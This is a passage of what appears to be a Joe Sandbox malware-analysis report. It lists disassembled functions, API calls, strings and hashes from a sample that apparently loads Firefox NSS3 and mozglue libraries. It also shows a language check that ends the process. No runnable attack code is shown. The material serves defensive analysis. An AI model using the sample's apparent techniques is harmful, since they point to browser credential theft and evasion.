Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 96340a2bdccb3f35972ab9d010e622b59fe24e2b7b926b5eb1332fb263f80feb
Instruction ID: 5fce868aec1e93f9f6069e2133c829a96ce6460e9fa621ce6eb8369bd97bba32
Opcode Fuzzy Hash: 96340a2bdccb3f35972ab9d010e622b59fe24e2b7b926b5eb1332fb263f80feb
Instruction Fuzzy Hash: 6051E173A042169BEB10DE69CE8AB6B77E5EF88308F140538E959C3650E731E8148B92

Function 6C808F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C808FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C808FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C808FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C809013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C809042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C80905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C809073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C8090EC

Part of subcall function 6C7D0F00: PR_GetPageSize.NSS3(6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000,?,6C76204A), ref: 6C7D0F1B
Part of subcall function 6C7D0F00: PR_NewLogModule.NSS3(clock,6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000,?,6C76204A), ref: 6C7D0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C809111

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: a11908a76162073dfaede8c9270808589a9725f04c386a99d2b41b4001e391c0
Instruction ID: 3a1c37e6227fa89ec78ec75c66f61458e90eb44784c1ab8277d0bb085ba00157
Opcode Fuzzy Hash: a11908a76162073dfaede8c9270808589a9725f04c386a99d2b41b4001e391c0
Instruction Fuzzy Hash: 6E518D71B08615CFDB20EF38CA88659BBF0BF49318F154969DC489B706EB34E884CB81

Function 6C6FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6C31A7), ref: 6C6FCDDD

Strings

<jemalloc>, xrefs: 6C6FCF9F, 6C6FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C6FCFA4, 6C6FCFB8

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: abc266a20bd9e11aabcaca49faa281ec195840b37d2d76864e8ccdeb009634f4
Instruction ID: 49c85311d0ce21e04b8e13d31db6f05a22ab99fb100d9dca1c69b3d9b391719e
Opcode Fuzzy Hash: abc266a20bd9e11aabcaca49faa281ec195840b37d2d76864e8ccdeb009634f4
Instruction Fuzzy Hash: C231A7317412056BFB24BF758C45BAE7B77BF41728F208025F526ABAC0DB70E9028799

Function 6C844DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C84536F,00000022,?,?,00000000,?), ref: 6C844E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C844F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C844F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C844FAE
free.MOZGLUE(?), ref: 6C844FC8

Strings

%s=%c%s%c, xrefs: 6C844FA9
%s=%s, xrefs: 6C844F89

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 47879f4b195aa5c45a54f9f2f511dbddc7706b55ec0177dd49764d8f6f2387b6
Instruction ID: a181727d9df8ccc86d467ea01cdc3107fad6cccf5b9e5ce420d4251adf1cf6ca
Opcode Fuzzy Hash: 47879f4b195aa5c45a54f9f2f511dbddc7706b55ec0177dd49764d8f6f2387b6
Instruction Fuzzy Hash: 4E516C31E0425D8BEB21CE69C690BFFBBF59FC2318F28C925E894A7B41D33599058791

Function 6C81ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C81ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C81AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C81AD23

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C81AD39

Strings

hSession = 0x%x, xrefs: 6C81ACFE, 6C81AD0E
C_MessageDecryptFinal, xrefs: 6C81ACE1
(CK_INVALID_HANDLE), xrefs: 6C81AD1C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 84b87a2964ad1640d2e57d724380836f992376bda595cccc99c4abe479cd4503
Instruction ID: c772d85832f365da14a7f0b75708ddc8304dd216eff9a9ac7b9b49bc5653903b
Opcode Fuzzy Hash: 84b87a2964ad1640d2e57d724380836f992376bda595cccc99c4abe479cd4503
Instruction Fuzzy Hash: BF212830709504DFDB20AB68DE88BAA33F4BB4270EF148835E40997E01DB30980DC692

Function 6C7F8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C80124D,00000001), ref: 6C7F8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C80124D,00000001), ref: 6C7F8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C80124D,00000001), ref: 6C7F8D73
PR_Unlock.NSS3(?,?,?,?,?,6C80124D,00000001), ref: 6C7F8D8C

Part of subcall function 6C88DD70: TlsGetValue.KERNEL32 ref: 6C88DD8C
Part of subcall function 6C88DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C88DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C80124D,00000001), ref: 6C7F8DBA

Strings

KRAM, xrefs: 6C7F8D3E
KRAM, xrefs: 6C7F8CF9

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 845bbdec8efffcec5c91bb9cd2a1dfc46c25033134055c45e7a8c8ece2ab942a
Instruction ID: 1b98c736e2acfa2b659eadbb30fdf03138c8b1ff826db1d251607e4c021fe005
Opcode Fuzzy Hash: 845bbdec8efffcec5c91bb9cd2a1dfc46c25033134055c45e7a8c8ece2ab942a
Instruction Fuzzy Hash: D22181B5A046018FCB00EF39C68555EB7F0FF5A318F15897AD9A88B701E734D842CBA1

Function 6C8F0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C8F0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C8F0EFA

Part of subcall function 6C7DAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C7DAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C8F0ED9, 6C8F0EE5, 6C8F0F06, 6C8F0F0B
Aborting, xrefs: 6C8F0EB3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 0a13dab3bac94ef615b40fccb294d0cdb74d9bbb0ad1badcf4c1c38c6189f74a
Instruction ID: dfc7b2cf8bda27949d88061afe27825433e8a29813d737c17c30f5d900fff5c4
Opcode Fuzzy Hash: 0a13dab3bac94ef615b40fccb294d0cdb74d9bbb0ad1badcf4c1c38c6189f74a
Instruction Fuzzy Hash: 3F01C0B6A00224ABDF12AF64DC49C9B3F3DEF462B8F104428FD1987702D735E91086A2

Function 6C709420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
__Init_thread_footer.LIBCMT ref: 6C70949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C70947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C70946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C709459

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 10e3591c2ff1d90fa00dfb75ea5111442733e4ded0c8305b628d6a2cc9420bce
Instruction ID: facb988fc142b7d264b10e87858d2f1d9df4c6e72f0fee8a6b7bd3442cb6a2e7
Opcode Fuzzy Hash: 10e3591c2ff1d90fa00dfb75ea5111442733e4ded0c8305b628d6a2cc9420bce
Instruction Fuzzy Hash: 0201D4B0B0010187D710BBACDE11A5733F5AB0637EF058537F92A86B51EA31E9698A5B

Function 6C8B4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C8B4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C8B4DE0

Strings

misuse, xrefs: 6C8B4DD5
invalid, xrefs: 6C8B4DB8
%s at line %d of [%.10s], xrefs: 6C8B4DDA
API call with %s database connection pointer, xrefs: 6C8B4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C8B4DCB

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c735d3b3f8e83fbd9673ca49c5f74c89059d5ddee9847c94addd1d62c0242cea
Instruction ID: 505fbc645fd9aa41d78cd98c383df5d6d284aa0320003738209bca2300490663
Opcode Fuzzy Hash: c735d3b3f8e83fbd9673ca49c5f74c89059d5ddee9847c94addd1d62c0242cea
Instruction Fuzzy Hash: 0CF0E911F1856C6FEB208115DE27F8637968FC231AF4E0DE0EE087BF92D269D85482D1

Function 6C8B4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C8B4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C8B4E4D

Strings

misuse, xrefs: 6C8B4E42
invalid, xrefs: 6C8B4E25
%s at line %d of [%.10s], xrefs: 6C8B4E47
API call with %s database connection pointer, xrefs: 6C8B4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C8B4E38

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1ae7d95a485086e13f0766089e38c8c4a66638cf121abc21c0e943dbee9ff24d
Instruction ID: 79f2f60c14b31d86cc8ba39e292642c5679691d3fe20dc1eaef080bd6fcd48dd
Opcode Fuzzy Hash: 1ae7d95a485086e13f0766089e38c8c4a66638cf121abc21c0e943dbee9ff24d
Instruction Fuzzy Hash: 60F0E211E4892C6BE73080259E1BF8737864BC2339F0949A1FA0A77F92D629D8604292

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 6C820C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C821444,?,00000001,?,00000000,00000000,?,?,6C821444,?,?,00000000,?,?), ref: 6C820CB3

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C821444,?,00000001,?,00000000,00000000,?,?,6C821444,?), ref: 6C820DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C821444,?,00000001,?,00000000,00000000,?,?,6C821444,?), ref: 6C820DEC

Part of subcall function 6C840F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C7E2AF5,?,?,?,?,?,6C7E0A1B,00000000), ref: 6C840F1A
Part of subcall function 6C840F10: malloc.MOZGLUE(00000001), ref: 6C840F30
Part of subcall function 6C840F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C840F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C821444,?,00000001,?,00000000,00000000,?), ref: 6C820DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C821444,?,00000001,?,00000000), ref: 6C820E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C821444,?,00000001,?,00000000,00000000,?), ref: 6C820E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C821444,?,00000001,?,00000000,00000000,?,?,6C821444,?,?,00000000), ref: 6C820E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C821444,?,00000001,?,00000000,00000000,?), ref: 6C820E79

Part of subcall function 6C831560: TlsGetValue.KERNEL32(00000000,?,6C800844,?), ref: 6C83157A
Part of subcall function 6C831560: EnterCriticalSection.KERNEL32(?,?,?,6C800844,?), ref: 6C83158F
Part of subcall function 6C831560: PR_Unlock.NSS3(?,?,?,?,6C800844,?), ref: 6C8315B2

Part of subcall function 6C7FB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C801397,00000000,?,6C7FCF93,5B5F5EC0,00000000,?,6C801397,?), ref: 6C7FB1CB
Part of subcall function 6C7FB1A0: free.MOZGLUE(5B5F5EC0,?,6C7FCF93,5B5F5EC0,00000000,?,6C801397,?), ref: 6C7FB1D2

Part of subcall function 6C7F89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7F88AE,-00000008), ref: 6C7F8A04
Part of subcall function 6C7F89E0: EnterCriticalSection.KERNEL32(?), ref: 6C7F8A15
Part of subcall function 6C7F89E0: memset.VCRUNTIME140(6C7F88AE,00000000,00000132), ref: 6C7F8A27
Part of subcall function 6C7F89E0: PR_Unlock.NSS3(?), ref: 6C7F8A35

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 1638fd75a2c2571eaefa6fd544ca0cd5407963937c8a0d0da0d24137cbd9304d
Instruction ID: 925ab483916cf11c1a3a44df59e795d4d7acd5d2cd0f197085ac469a854ca07b
Opcode Fuzzy Hash: 1638fd75a2c2571eaefa6fd544ca0cd5407963937c8a0d0da0d24137cbd9304d
Instruction Fuzzy Hash: 24511AF5E012045FEB209F68DE89AAB37A89F0521CF150934EC0997712F735ED5987E2

Function 6C7D6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C7D6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C7D6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C7D6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C7D6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C7D6FF0
